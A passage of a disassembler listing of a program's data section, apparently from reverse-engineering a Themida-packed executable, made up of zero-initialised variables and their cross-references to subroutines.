sub_4098FD+80Bw ; sub_4098FD+880r ... dword_4C91CC dd 0 ; DATA XREF: sub_4098FD+9D8w ; sub_4098FD+A43r ... dword_4C91D0 dd 0 ; DATA XREF: sub_4098FD+98Aw ; sub_4098FD+A13r ... dword_4C91D4 dd 0 ; DATA XREF: sub_4098FD+48Dw ; sub_4098FD+4DBr dword_4C91D8 dd 0 ; DATA XREF: sub_4098FD+213w ; sub_4098FD+234r dword_4C91DC dd 0 ; DATA XREF: sub_4098FD+9CBw ; sub_4098FD+A3Br ... dword_4C91E0 dd 0 ; DATA XREF: sub_4098FD+372w ; sub_4098FD+3C7r ... dword_4C91E4 dd 0 ; DATA XREF: sub_4098FD+40Fw ; sub_41AF2B+11Er dword_4C91E8 dd 0 ; DATA XREF: sub_4098FD+37Fw ; sub_4098FD+3CFr ... dword_4C91EC dd 0 ; DATA XREF: sub_4098FD+3C0w ; sub_419198+ADr dword_4C91F0 dd 0 ; DATA XREF: sub_4098FD+55Aw ; sub_40FAA3+115r ... dword_4C91F4 dd 0 ; DATA XREF: sub_4098FD+72w ; sub_4098FD+D2r ... dword_4C91F8 dd 0 ; DATA XREF: sub_4098FD+97Dw ; sub_4098FD+A06r ... dword_4C91FC dd 0 ; DATA XREF: sub_4098FD+3A6w ; sub_4098FD+3E7r ... dword_4C9200 dd 0 ; DATA XREF: sub_4098FD+859w ; sub_4098FD+8ACr ... dword_4C9204 dd 0 ; DATA XREF: sub_4098FD+2A5w ; sub_4098FD+2F0r dword_4C9208 dd 0 ; DATA XREF: sub_4098FD+84Cw ; sub_4098FD+8A4r ... dword_4C920C dd 0 ; DATA XREF: sub_4098FD+B3w dword_4C9210 dd 0 ; DATA XREF: sub_4098FD+866w ; sub_4098FD+8B4r ... dword_4C9214 dd 0 ; DATA XREF: sub_4098FD+54Dw ; sub_4098FD+6D0r ... dword_4C9218 dd 0 ; DATA XREF: sub_4098FD+58w ; sub_4098FD+CAr ... dword_4C921C dd 0 ; DATA XREF: sub_4098FD+934w dword_4C9220 dd 0 ; DATA XREF: sub_401AC7:loc_403EAFr ; sub_4098FD+A95w ... dword_4C9224 dd 0 ; DATA XREF: sub_4098FD+A6w ; sub_4098FD+F2r dword_4C9228 dd 0 ; DATA XREF: sub_4098FD+480w ; sub_4098FD+4D3r dword_4C922C dd 0 ; DATA XREF: sub_4098FD+5F6w ; sub_40C252+20r dword_4C9230 dd 0 ; DATA XREF: sub_4098FD+9BEw ; sub_4098FD+A33r dword_4C9234 dd 0 ; DATA XREF: sub_4098FD+5E9w ; sub_4098FD+754r ... dword_4C9238 dd 0 ; DATA XREF: sub_4098FD+A0Cw dword_4C923C dd 0 ; DATA XREF: sub_4098FD+B50w ; sub_40DC32+9Ar dword_4C9240 dd 0 ; DATA XREF: sub_4098FD+7FEw ; sub_4098FD+86Dr ... dword_4C9244 dd 0 ; DATA XREF: sub_4098FD+1B3w ; sub_40B5A8+3Do ... dword_4C9248 dd 0 ; DATA XREF: sub_4098FD+997w ; sub_4098FD+A1Br ... dword_4C924C dd 0 ; DATA XREF: sub_4098FD+38Cw ; sub_4098FD+3D7r ... dword_4C9250 dd 0 ; DATA XREF: sub_4098FD+399w ; sub_4098FD+3DFr ... dword_4C9254 dd 0 ; DATA XREF: sub_4098FD+C85w ; sub_4098FD+C8Cr dword_4C9258 dd 0 ; DATA XREF: sub_4098FD+6ACw ; ___:0041124Er dword_4C925C dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4C9260 dd 0 ; DATA XREF: sub_4098FD+4B4w dword_4C9264 dd 0 ; DATA XREF: sub_4098FD+9E5w ; sub_4098FD+A4Br ... dword_4C9268 dd 0 ; DATA XREF: sub_401000+51r ; sub_4098FD+2B2w ... dword_4C926C dd 0 ; DATA XREF: sub_4098FD+7Fw ; sub_4098FD+DAr ... dword_4C9270 dd 0 ; DATA XREF: sub_401AC7+588Ar ; sub_401AC7+783Br ... dword_4C9274 dd 0 ; DATA XREF: ___:004012ADr ; sub_401AC7+5081r ... dword_4C9278 dd 0 ; DATA XREF: sub_4098FD+825w ; sub_4098FD+890r ... dword_4C927C dd 0 ; DATA XREF: sub_4098FD+9A4w ; sub_4098FD+A23r dword_4C9280 dd 0 ; DATA XREF: sub_4098FD+C0Ew ; sub_4098FD+C3Fr dword_4C9284 dd 0 ; DATA XREF: sub_4098FD+2CCw ; sub_4189DF+47r dword_4C9288 dd 0 ; DATA XREF: sub_4098FD+22Dw dword_4C928C dd 0 ; DATA XREF: sub_4098FD+91Aw ; sub_4098FD+92Er dword_4C9290 dd 0 ; DATA XREF: sub_4098FD+C28w dword_4C9294 dd 0 ; DATA XREF: sub_4098FD+2D9w ; sub_4189DF+4Fr dword_4C9298 dd 0 ; DATA XREF: sub_4098FD+574w ; sub_4098FD+6E8r ... dword_4C929C dd 0 ; DATA XREF: sub_4098FD+83Fw ; sub_4098FD+873r dword_4C92A0 dd 0 ; DATA XREF: sub_4098FD+220w ; sub_4098FD+23Cr dword_4C92A4 dd 0 ; DATA XREF: sub_4098FD+172w ; sub_4098FD+1C2r dword_4C92A8 dd 0 ; DATA XREF: sub_401AC7+1DBEr ; sub_401AC7+5A43r ... dword_4C92AC dd 0 ; DATA XREF: sub_4017E7+C4r ; sub_401AC7+510Br ... dword_4C92B0 dd 0 ; DATA XREF: sub_4098FD+567w ; sub_4098FD+6DCr ... dword_4C92B4 dd 0 ; DATA XREF: sub_4098FD+8DBw ; sub_4098FD:loc_40A1F6w ... dword_4C92B8 dd 0 ; DATA XREF: sub_401000+26r ; sub_4098FD+28Bw ... dword_4C92BC dd 0 ; DATA XREF: sub_401AC7+77C0r ; sub_4098FD+69Fw ... dword_4C92C0 dd 0 ; DATA XREF: sub_4098FD+32Dw ; sub_4098FD+341r ... dword_4C92C4 dd 0 ; DATA XREF: sub_4098FD+3B3w ; sub_4098FD+3EFr ... dword_4C92C8 dd 0 ; DATA XREF: sub_4098FD+C01w ; sub_4098FD+C37r dword_4C92CC dd 0 ; DATA XREF: sub_4098FD+818w ; sub_4098FD+888r ... dword_4C92D0 dd 0 ; DATA XREF: sub_4098FD+206w ; sub_4098FD+227r dword_4C92D4 dd 0 ; DATA XREF: sub_4098FD+18Cw ; sub_4098FD+1D2r ... dword_4C92D8 dd 0 ; DATA XREF: sub_4098FD+832w ; sub_4098FD+898r ... dword_4C92DC dd 0 ; DATA XREF: sub_4098FD+624w ; sub_4098FD+774r dword_4C92E0 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_4098FD+2BFw ... dword_4C92E4 dd 0 ; DATA XREF: sub_4098FD+66Bw ; sub_4098FD+79Cr ... dword_4C92E8 dd 0 ; DATA XREF: sub_4098FD+320w ; sub_4098FD+334r ... dword_4C92EC dd 0 ; DATA XREF: sub_4098FD+644w ; sub_4098FD+784r ... dword_4C92F0 dd 0 ; DATA XREF: sub_4098FD+44Cw ; sub_4098FD+4AEr dword_4C92F4 dd 0 ; DATA XREF: sub_4098FD+199w ; sub_4098FD+1DAr ... dword_4C92F8 dd 0 ; DATA XREF: sub_4098FD+365w ; sub_4098FD+3BAr ... dword_4C92FC dd 0 ; DATA XREF: sub_4098FD+AA2w dword_4C9300 dd 0 ; DATA XREF: sub_4098FD+5DCw ; sub_4098FD+748r ... dword_4C9304 dd 0 ; DATA XREF: sub_4017E7+3Er ; sub_401AC7+50BDr ... dword_4C9308 dd 0 ; DATA XREF: sub_4098FD+4Bw ; sub_4098FD+C2r ... dword_4C930C dd 0 ; DATA XREF: sub_4098FD+473w ; sub_4098FD+4CBr dword_4C9310 dd 0 ; DATA XREF: sub_4098FD+165w ; sub_4098FD+1BAr ... dword_4C9314 dd 0 ; DATA XREF: sub_4098FD+9FFw ; sub_4098FD+A5Br ... dword_4C9318 dd 0 ; DATA XREF: sub_4098FD+685w ; sub_4098FD+7ACr ... dword_4C931C dd 0 ; DATA XREF: sub_40194F+D1r ; sub_401AC7+5120r ... dword_4C9320 dd 0 ; DATA XREF: sub_4098FD+C1Bw ; sub_4098FD+C47r dword_4C9324 dd 0 ; DATA XREF: sub_4098FD+3Ew ; sub_4098FD+BAr ... dword_4C9328 dd 0 ; DATA XREF: sub_401000+45r ; sub_4098FD+298w ... dword_4C932C dd 0 ; DATA XREF: sub_4098FD+651w ; sub_4098FD+78Cr ... dword_4C9330 dd 0 ; DATA XREF: sub_4098FD+637w ; sub_4098FD+77Cr ... dword_4C9334 dd 0 ; DATA XREF: sub_4098FD+C92w dword_4C9338 dd 0 ; DATA XREF: sub_4098FD+879w ; ___:00416C30r ... dword_4C933C dd 0 ; DATA XREF: sub_4098FD+112w dword_4C9340 dd 0 ; DATA XREF: sub_4098FD+BE7w ; sub_4098FD+C22r dword_4C9344 dd 0 ; DATA XREF: sub_401AC7+2FC3r ; sub_401AC7+5EFCr ... dword_4C9348 dd 0 ; DATA XREF: sub_4098FD+459w ; sub_4098FD+4BBr dword_4C934C dd 0 ; DATA XREF: sub_4098FD+49Aw ; sub_4098FD+4E3r dword_4C9350 dd 0 ; DATA XREF: sub_4098FD+466w ; sub_4098FD+4C3r dword_4C9354 dd 0 ; DATA XREF: sub_40194F+89r ; sub_401AC7+513Dr ... dword_4C9358 dd 0 ; DATA XREF: sub_4098FD+1A6w ; sub_4098FD+1E2r ... dword_4C935C dd 0 ; DATA XREF: sub_4098FD+9F2w ; sub_4098FD+A53r ... dword_4C9360 dd 0 ; DATA XREF: sub_4098FD+158w ; sub_4098FD+1ADr ... dword_4C9364 dd 0 ; DATA XREF: sub_4098FD+8Cw ; sub_4098FD+E2r ... dword_4C9368 dd 0 ; DATA XREF: sub_4098FD+610w ; sub_4098FD+764r ... dword_4C936C dd 0 ; DATA XREF: sub_4098FD+B43w ; sub_4098FD+B5Fr dword_4C9370 dd 0 ; DATA XREF: sub_4098FD+33Aw ; sub_419B3F+55r dword_4C9374 dd 0 ; DATA XREF: sub_4098FD+27Ew ; sub_4098FD+2D3r ... dword_4C9378 dd 0 ; DATA XREF: sub_4098FD+BAAw dword_4C937C dd 0 ; DATA XREF: sub_4098FD+AECw ; sub_40A91C+CEr dword_4C9380 dd 0 ; DATA XREF: sub_4098FD+ADFw ; sub_4098FD+AE6r ... dword_4C9384 dd 0 ; DATA XREF: sub_4017E7+A6r ; sub_401AC7+509Cr ... dword_4C9388 dd 0 ; DATA XREF: sub_401AC7+508Er ; sub_401AC7+77E7r ... dword_4C938C dd 0 ; DATA XREF: sub_4098FD+BF4w ; sub_4098FD+C2Fr dword_4C9390 dd 0 ; DATA XREF: sub_401AC7+1DE4r ; sub_401AC7+5A69r ... dword_4C9394 dd 0 ; DATA XREF: sub_4098FD+9B1w ; sub_4098FD+A2Br ... dword_4C9398 dd 0 ; DATA XREF: sub_4098FD+65Ew ; sub_4098FD+794r ... dword_4C939C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017E7+D0r ... dword_4C93A0 dd 0 ; DATA XREF: sub_4098FD+59Bw ; sub_4098FD+70Cr ... dword_4C93A4 dd 0 ; DATA XREF: sub_4098FD+B36w ; sub_4098FD+B57r ... dword_4C93A8 dd 0 ; DATA XREF: sub_4098FD+540w ; sub_4098FD+6C4r ... dword_4C93AC dd 0 ; DATA XREF: sub_4098FD+B29w ; sub_4098FD+B4Ar dword_4C93B0 dd 0 ; DATA XREF: ___:00401273r ; sub_4098FD+31w ... dword_4C93B4 dd 0 ; DATA XREF: sub_4098FD+17Fw ; sub_4098FD+1CAr dd 0 dword_4C93BC dd 0 ; DATA XREF: sub_4098FD+927w ; sub_4098FD+93Br dword_4C93C0 dd 0 ; DATA XREF: sub_4098FD+99w ; sub_4098FD+EAr ... dword_4C93C4 dd 0 ; DATA XREF: sub_4098FD:loc_4099FBw ; sub_4098FD+12Bw ... dword_4C93C8 dd 0 ; DATA XREF: sub_4098FD+126w ; sub_40A5B9+1Cr dword_4C93CC dd 0 ; DATA XREF: sub_4098FD:loc_409AEBw ; sub_4098FD:loc_409B52w ... dword_4C93D0 dd 0 ; DATA XREF: sub_4098FD+250w ; sub_40A5B9+50r dword_4C93D4 dd 0 ; DATA XREF: ___:00401567r ; sub_401AC7+4466r ... dword_4C93D8 dd 0 ; DATA XREF: sub_4098FD+41Ew ; sub_40A5B9+84r dword_4C93DC dd 0 ; DATA XREF: sub_4098FD:loc_409E01w ; sub_40A5B9:loc_40A669r dword_4C93E0 dd 0 ; DATA XREF: sub_4098FD+4FFw ; sub_40A5B9+B8r dword_4C93E4 dd 0 ; DATA XREF: sub_4098FD:loc_40A0D2w ; sub_40A5B9:loc_40A69Dr dword_4C93E8 dd 0 ; DATA XREF: sub_4098FD+7D0w ; sub_40A5B9+ECr dword_4C93EC dd 0 ; DATA XREF: sub_4098FD:loc_40A1BDw ; sub_4098FD+8EFw ... dword_4C93F0 dd 0 ; DATA XREF: sub_4098FD+8EAw ; sub_40A5B9+120r dword_4C93F4 dd 0 ; DATA XREF: sub_401AC7:loc_406E82r ; sub_4098FD:loc_40A251w ... dword_4C93F8 dd 0 ; DATA XREF: sub_4098FD+94Fw ; sub_40A5B9+154r dword_4C93FC dd 0 ; DATA XREF: sub_401AC7+446Er ; sub_4098FD:loc_40A36Dw ... dword_4C9400 dd 0 ; DATA XREF: sub_4098FD+A6Bw ; sub_40A5B9+188r dword_4C9404 dd 0 ; DATA XREF: sub_4098FD:loc_40A3B7w ; sub_40A5B9:loc_40A76Dr dword_4C9408 dd 0 ; DATA XREF: sub_4098FD+AB5w ; sub_40A5B9+1BCr dword_4C940C dd 0 ; DATA XREF: sub_4098FD:loc_40A401w ; sub_40A5B9:loc_40A7A1r dword_4C9410 dd 0 ; DATA XREF: sub_4098FD+AFFw ; sub_40A5B9+1F0r dword_4C9414 dd 0 ; DATA XREF: sub_4098FD:loc_40A475w ; sub_40A5B9:loc_40A7D5r dword_4C9418 dd 0 ; DATA XREF: sub_4098FD+B73w ; sub_40A5B9+224r dword_4C941C dd 0 ; DATA XREF: sub_4098FD:loc_40A4BFw ; sub_40A5B9:loc_40A809r dword_4C9420 dd 0 ; DATA XREF: sub_4098FD+BBDw ; sub_40A5B9+258r dword_4C9424 dd 0 ; DATA XREF: sub_4098FD:loc_40A55Dw ; sub_40A5B9:loc_40A83Dr dword_4C9428 dd 0 ; DATA XREF: sub_4098FD+C5Bw ; sub_40A5B9+28Cr dword_4C942C dd 0 ; DATA XREF: sub_4098FD:loc_40A5A7w ; sub_40A5B9:loc_40A871r dword_4C9430 dd 0 ; DATA XREF: sub_4098FD+CA5w ; sub_40A5B9+2C0r dword_4C9434 dd 5 dup(0) ; DATA XREF: sub_40A9FA+32o byte_4C9448 db 0 ; DATA XREF: sub_40B2A6+6Ar ; sub_40B2A6+98w align 10h dword_4C9450 dd 0 ; DATA XREF: sub_40BD05+18r ; sub_40C29A+92w ... dword_4C9454 dd 0 ; DATA XREF: sub_40C3D3+4Dr ; sub_40C3D3+2EDw ... dd 7FEh dup(0) dword_4CB450 dd 6 dup(0) ; DATA XREF: sub_40C3D3+CFo ; sub_40C3D3+138o ... dword_4CB468 dd 0 ; DATA XREF: sub_40BD7C+2C4w ; sub_40BD7C+348o dword_4CB46C dd 0 ; DATA XREF: sub_40BD7C+33Ew ; sub_40BD7C+35Ar dword_4CB470 dd 0 ; DATA XREF: sub_40BD7C+2CFw dword_4CB474 dd 0 ; DATA XREF: sub_40BD7C+2B9w ; sub_40BD7C:loc_40C091r dword_4CB478 dd 20h dup(0) ; DATA XREF: sub_40BD7C+2E2o ; sub_40BD7C+302o dword_4CB4F8 dd 0 ; DATA XREF: sub_40BD7C+2D5w dword_4CB4FC dd 0 ; DATA XREF: sub_40BD7C+2EFw ; sub_40BD7C+30Fw dword_4CB500 dd 0 ; DATA XREF: sub_40BD7C:loc_40C0ECr align 8 dword_4CB508 dd 0 ; DATA XREF: sub_40BD7C+82w ; sub_40BD7C+101o dword_4CB50C dd 41h dup(0) ; DATA XREF: sub_40BD7C+41o dword_4CB610 dd 41h dup(0) ; DATA XREF: sub_40BD7C+69o dword_4CB714 dd 0 ; DATA XREF: sub_40BD7C+F7w ; sub_40BD7C+113r dword_4CB718 dd 0 ; DATA XREF: sub_40BD7C+52w dword_4CB71C dd 0 ; DATA XREF: sub_40BD7C+4Dw ; sub_40BD7C+D4r dword_4CB720 dd 20h dup(0) ; DATA XREF: sub_40BD7C+9Ao ; sub_40BD7C+BAo dword_4CB7A0 dd 0 ; DATA XREF: sub_40BD7C+8Fw dword_4CB7A4 dd 0 ; DATA XREF: sub_40BD7C+A7w ; sub_40BD7C+C7w dword_4CB7A8 dd 0 ; DATA XREF: sub_40BD7C:loc_40BEA5r align 10h dword_4CB7B0 dd 0 ; DATA XREF: sub_40BD7C+1A5w ; sub_40BD7C+225o dword_4CB7B4 dd 41h dup(0) ; DATA XREF: sub_40BD7C+167o dword_4CB8B8 dd 41h dup(0) ; DATA XREF: sub_40BD7C+18Co dword_4CB9BC dd 0 ; DATA XREF: sub_40BD7C+21Bw ; sub_40BD7C+237r dword_4CB9C0 dd 0 ; DATA XREF: sub_40BD7C+17Aw dword_4CB9C4 dd 0 ; DATA XREF: sub_40BD7C+175w ; sub_40BD7C+1F8r dword_4CB9C8 dd 20h dup(0) ; DATA XREF: sub_40BD7C+1BEo ; sub_40BD7C+1DEo dword_4CBA48 dd 0 ; DATA XREF: sub_40BD7C+1B1w dword_4CBA4C dd 0 ; DATA XREF: sub_40BD7C+1CBw ; sub_40BD7C+1EBw dword_4CBA50 dd 0 ; DATA XREF: sub_40BD7C:loc_40BFC9r align 8 dword_4CBA58 dd 0 ; DATA XREF: sub_40BD7C+417w ; sub_40BD7C+470o dword_4CBA5C dd 0A2h dup(0) ; DATA XREF: sub_40BD7C+405o dword_4CBCE4 dd 41h dup(0) ; DATA XREF: sub_40BD7C+3CFo dword_4CBDE8 dd 0 ; DATA XREF: sub_40BD7C+3FCw ; sub_40BD7C+423r align 10h dword_4CBDF0 dd 0 ; DATA XREF: sub_40BD7C+466w ; sub_40BD7C+482r dword_4CBDF4 dd 0 ; DATA XREF: sub_40BD7C+429w dword_4CBDF8 dd 0 ; DATA XREF: sub_40BD7C+436w dword_4CBDFC dd 0 ; DATA XREF: sub_40BD7C+3F6w dd 0 dword_4CBE04 dd 0 ; DATA XREF: sub_40BD7C:loc_40C214r dd 0 dword_4CBE0C dd 0 ; DATA XREF: sub_40B9CF+Er ; sub_40B9CF+31r dword_4CBE10 dd 0 ; DATA XREF: sub_40B9CF+9r ; sub_40B9CF+25r dword_4CBE14 dd 82h dup(0) ; DATA XREF: sub_40C846+8Do dword_4CC01C dd 2 dup(0) ; DATA XREF: sub_40D1AF+68o dword_4CC024 dd 0 ; DATA XREF: sub_40DB4F+9Eo dword_4CC028 dd 0 ; DATA XREF: sub_40E288+8w ; ___:0040E657o align 10h dword_4CC030 dd 2 dup(0) ; DATA XREF: ___:0040E58Do ; sub_41B4FB+8o ... dword_4CC038 dd 0 ; DATA XREF: ___:0040EEC0r dd 0 dd 0 dword_4CC044 dd 0 ; DATA XREF: ___:0040EE93r dword_4CC048 dd 0 ; DATA XREF: ___:0040EE75r ; ___:0040EEDEr align 10h dword_4CC050 dd 0 ; DATA XREF: sub_40BD7C+2AEr align 8 dword_4CC058 dd 0 ; DATA XREF: sub_40BA3A+1Br dword_4CC05C dd 0 ; DATA XREF: ___:0040F9B6w ; ___:0040F9DDr ... dd 3 dup(0) dword_4CC06C dd 0 ; DATA XREF: ___:004112C4r dd 0 dword_4CC074 dd 0 ; DATA XREF: sub_412E9B+4w ; sub_412E9B+9o dd 10Ah dup(0) dword_4CC4A0 dd 188h dup(0) ; DATA XREF: sub_401AC7+2F39o ; sub_401AC7:loc_404AAFo dword_4CCAC0 dd 0 ; DATA XREF: sub_401AC7+19B6w ; sub_401AC7+2F31r ... dd 11Ch dup(0) dword_4CCF34 dd 0E13h dup(0) ; DATA XREF: sub_415CEE+1Do ; sub_415D8Eo ... db 0 byte_4D0781 db 3 dup(0) ; DATA XREF: Themida_:0054EEA0o ; Themida_:0054EEA8o dd 1ECh dup(0) dword_4D0F34 dd 0 ; DATA XREF: sub_415CEE+13o ; sub_415D8E+Eo ... dword_4D0F38 dd 0Eh dup(0) ; DATA XREF: sub_416C7D+Fo dword_4D0F70 dd 80h dup(0) ; DATA XREF: sub_417938+41o dword_4D1170 dd 200h dup(0) ; DATA XREF: sub_417269+C7o ; sub_4175C4+DDo ... dword_4D1970 dd 200h dup(0) ; DATA XREF: sub_417269+D6o ; sub_4175C4+F4o ... dword_4D2170 dd 0 ; DATA XREF: sub_417269+86w ; sub_41743B+94r dword_4D2174 dd 0 ; DATA XREF: sub_417269+A7w ; sub_4178A1+55r ... dword_4D2178 dd 0 ; DATA XREF: sub_417269+A0w ; sub_41743B+D6r ... dword_4D217C dd 0 ; DATA XREF: sub_417269+79w ; sub_41743B+35r ... dword_4D2180 dd 80h dup(0) ; DATA XREF: sub_4178A1+5Eo dword_4D2380 dd 0 ; DATA XREF: sub_417269+93w ; sub_41743B+A2r align 8 dword_4D2388 dd 0 ; DATA XREF: sub_417269+E7o ; sub_417269+103r ... dword_4D238C dd 0 ; DATA XREF: sub_4175C4+17Bw ; sub_41776B+107w dword_4D2390 dd 0 ; DATA XREF: sub_4175C4+180w ; sub_41776B+10Dw ... dword_4D2394 dd 0 ; DATA XREF: sub_4175C4+159w ; sub_4178A1+4Fr dword_4D2398 dd 0 ; DATA XREF: sub_417C15+22w ; sub_417C15:loc_417D97w ... dword_4D239C dd 0 ; DATA XREF: sub_401AC7+3C99o ; sub_417AD7+12o ... dd 0 dword_4D23A4 dd 0 ; DATA XREF: sub_417C15+1Cr ; sub_417DB7+3Ar dd 7Fh dup(0) dword_4D25A4 dd 0 ; DATA XREF: sub_417C15+28r ; sub_417DB7+4Aw dd 6EAh dup(0) db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_437BD0o dd 1259h dup(0) dword_4D8AB8 dd 0 ; DATA XREF: sub_417DB7+23o dword_4D8ABC dd 81h dup(0) ; DATA XREF: sub_401AC7+3CBDo ; sub_417AD7+3Co ... dword_4D8CC0 dd 17h dup(0) ; DATA XREF: sub_418CE8:loc_418E05o ; sub_418CE8+131o ... dword_4D8D1C dd 80h dup(0) ; DATA XREF: sub_419A81+7Co ; sub_419A81+A5o dword_4D8F1C dd 0 ; DATA XREF: sub_419062+45w ; sub_419062+4Dr ... dword_4D8F20 dd 17h dup(0) ; DATA XREF: sub_41994D:loc_419A6Fo ; sub_41994D+12Do dword_4D8F7C dd 80h dup(0) ; DATA XREF: sub_418FA3+4Bo ; sub_418FA3+7Do ... byte_4D917C db 0 ; DATA XREF: sub_419062+29r ; sub_419062+34w align 10h dword_4D9180 dd 80h dup(0) ; DATA XREF: sub_4192B9+61o ; sub_4192B9+88o ... dword_4D9380 dd 81h dup(0) ; DATA XREF: sub_418BBF+33o ; sub_418BBF+50o ... dword_4D9584 dd 0 ; DATA XREF: sub_419F0E:loc_419F2Fr ; sub_419FFD+54r ... dword_4D9588 dd 0 ; DATA XREF: sub_419F0Er ; sub_419FFD+37r ... dword_4D958C dd 0 ; DATA XREF: sub_419F3E+1Ar ; sub_41A152+83o dword_4D9590 dd 0 ; DATA XREF: sub_419F0E:loc_419F22r ; sub_41A152+11Bw dword_4D9594 dd 0Dh dup(0) ; DATA XREF: sub_419FFD+13o ; sub_41A152:loc_41A28Fo dword_4D95C8 dd 0 ; DATA XREF: sub_419FFD+CDr ; sub_419FFD+ECr ... align 10h dword_4D95D0 dd 0Fh dup(0) ; DATA XREF: sub_41AD74+47o byte_4D960C db 0 ; DATA XREF: sub_41B4CF+6o ; ___:0041B821o ... align 10h dd 3Fh dup(0) dword_4D970C dd 2 dup(0) ; DATA XREF: sub_41B4FB+18o dword_4D9714 dd 0 ; DATA XREF: sub_41C326+1B9w ; ___:loc_41DA08w ... dword_4D9718 dd 0 ; DATA XREF: sub_41DB5E+35w ; sub_41E212:loc_41E2ACw ... dword_4D971C dd 0 ; DATA XREF: sub_42393B+13Ar dd 0A28h, 501h, 5, 1 dword_4D9730 dd 1 ; DATA XREF: ___:loc_401513r ; ___:00422F1Cw dword_4D9734 dd 28C0AF0h ; DATA XREF: ___:0040151Cr ; ___:0040153Cr ... dd 0 dword_4D973C dd 28C0A70h ; DATA XREF: ___:00422E16w ; sub_4259A3+9r ... dword_4D9740 dd 0 ; DATA XREF: sub_426087+36r dword_4D9744 dd 0 ; DATA XREF: sub_4259A3+16r ; sub_425D71+4r ... dd 0 off_4D974C dd offset aCM_unpackerPac ; DATA XREF: ___:00422EB9w ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4D9754 db 0 ; DATA XREF: sub_41BF53+2Dw ; sub_4238E3+5r align 4 dword_4D9758 dd 0 ; DATA XREF: sub_41BF53+27w dword_4D975C dd 0 ; DATA XREF: sub_41BF53+4r ; sub_41BF53+8Bw dword_4D9760 dd 0 ; DATA XREF: sub_41C864+3Br ; sub_41C864+91w align 8 dword_4D9768 dd 0 ; DATA XREF: sub_41CEB4+Aw align 10h dword_4D9770 dd 0 ; DATA XREF: sub_41D81B+5Er ; sub_41D81B+A4w align 8 word_4D9778 dw 0 ; DATA XREF: sub_41D81B+55r ; sub_41D81B+9Ao word_4D977A dw 0 ; DATA XREF: sub_41D81B+48r db 2 dup(0) word_4D977E dw 0 ; DATA XREF: sub_41D81B+3Br word_4D9780 dw 0 ; DATA XREF: sub_41D81B+2Er word_4D9782 dw 0 ; DATA XREF: sub_41D81B+21r align 8 dword_4D9788 dd 0 ; DATA XREF: ___:loc_422DE4r ; ___:loc_422E26r ... align 10h dword_4D9790 dd 0 ; DATA XREF: sub_41E1C9r ___:0041E1F0o ... dword_4D9794 dd 0 ; DATA XREF: sub_41F247r dword_4D9798 dd 0 ; DATA XREF: sub_41BB48:loc_41BC44r ; sub_41BC9Br ... dword_4D979C dd 1 ; DATA XREF: sub_41FDDE:loc_41FF59r ; sub_41FF77+4w ... dword_4D97A0 dd 0 ; DATA XREF: sub_42037B+37r align 8 dword_4D97A8 dd 0 ; DATA XREF: sub_42190E+11r ; sub_421A12+1Ar ... byte_4D97AC db 0 ; DATA XREF: sub_42190E+3r ; sub_42190E+98r ... align 10h dword_4D97B0 dd 0 ; DATA XREF: sub_421A12+11r ; sub_421AF0+21w ... byte_4D97B4 db 0 ; DATA XREF: sub_421AF0+51w align 4 dword_4D97B8 dd 0 ; DATA XREF: sub_421CE6+4Er ; sub_4220C1+3Ar ... dword_4D97BC dd 0 ; DATA XREF: sub_421CE6+5Cr ; sub_4220C1+43r ... dword_4D97C0 dd 0 ; DATA XREF: sub_41D13A+7Ar ; sub_421E8D+5r dword_4D97C4 dd 0 ; DATA XREF: sub_42249C+29r dword_4D97C8 dd 2 dup(0) ; DATA XREF: sub_41D900+Co dword_4D97D0 dd 0 ; DATA XREF: sub_41DD4A+4r ; sub_41DD4A+6Er ... align 10h dword_4D97E0 dd 0 ; DATA XREF: sub_41DFD4+61r ; sub_41DFD4+BFr ... align 8 dword_4D97E8 dd 1 ; DATA XREF: sub_4229D2+28r ; sub_4229D2+4Cw ... dword_4D97EC dd 0 ; DATA XREF: ___:00422C30r ; ___:00422C3Cw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422EA2o ; ___:off_4D974Co align 4 dd 3Ah dup(0) dword_4D98F4 dd 1 ; DATA XREF: ___:004230DAr ; ___:004230FBw ... dword_4D98F8 dd 0 ; DATA XREF: sub_423498+21r dword_4D98FC dd 0 ; DATA XREF: sub_41F262+154w ; sub_42037B:loc_4203A4w ... dword_4D9900 dd 0 ; DATA XREF: sub_41F262+7r dword_4D9904 dd 1 ; DATA XREF: sub_423BF4+26r ; sub_423BF4:loc_423C5Ew word_4D9908 dw 0 ; DATA XREF: sub_4244F9+1Ao ; sub_4244F9+46r byte_4D990A db 0 ; DATA XREF: sub_4244F9+39r align 4 dword_4D990C dd 7 dup(0) ; DATA XREF: sub_4244F9+52o dword_4D9928 dd 0 ; DATA XREF: sub_4244F9+40w ; sub_4244F9+5Co dword_4D992C dd 0 ; DATA XREF: sub_4244F9+4Dw dword_4D9930 dd 0 ; DATA XREF: sub_4244F9+31w dword_4D9934 dd 0 ; DATA XREF: sub_4244F9+52w dword_4D9938 dd 77C26E79h ; DATA XREF: sub_42461C:loc_42463Fr ; sub_42461C+38r ... align 10h dword_4D9940 dd 0 ; DATA XREF: sub_4246FC+11w ; sub_4246FC+63w ... align 8 dword_4D9948 dd 0 ; DATA XREF: sub_4246FC+33o ; sub_4246FC+46r dword_4D994C dd 10h dup(0) ; DATA XREF: sub_4246FC+C1o word_4D998C dw 0 ; DATA XREF: sub_42495A+A8r word_4D998E dw 0 ; DATA XREF: sub_4246FC+54r ; sub_42495A+DBr ... word_4D9990 dw 0 ; DATA XREF: sub_42495A+CAr word_4D9992 dw 0 ; DATA XREF: sub_42495A+D3r ; sub_42495A:loc_424A4Cr word_4D9994 dw 0 ; DATA XREF: sub_42495A+C0r word_4D9996 dw 0 ; DATA XREF: sub_42495A+B8r word_4D9998 dw 0 ; DATA XREF: sub_42495A+B0r word_4D999A dw 0 ; DATA XREF: sub_42495A+9Er dword_4D999C dd 0 ; DATA XREF: sub_4246FC+4Br dword_4D99A0 dd 10h dup(0) ; DATA XREF: sub_4246FC+FBo word_4D99E0 dw 0 ; DATA XREF: sub_42495A+46r word_4D99E2 dw 0 ; DATA XREF: sub_4246FC:loc_424773r ; sub_42495A+78r ... word_4D99E4 dw 0 ; DATA XREF: sub_42495A+67r word_4D99E6 dw 0 ; DATA XREF: sub_42495A+70r ; sub_42495A:loc_4249DEr word_4D99E8 dw 0 ; DATA XREF: 